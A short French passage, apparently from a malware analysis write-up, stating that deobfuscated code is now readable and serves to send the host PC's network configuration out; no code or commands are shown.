Le code est maintenant beaucoup plus lisible et simplifier. On comprend donc que sont utilisation est de faire sortir la configuration reseaux du PC de l'hote.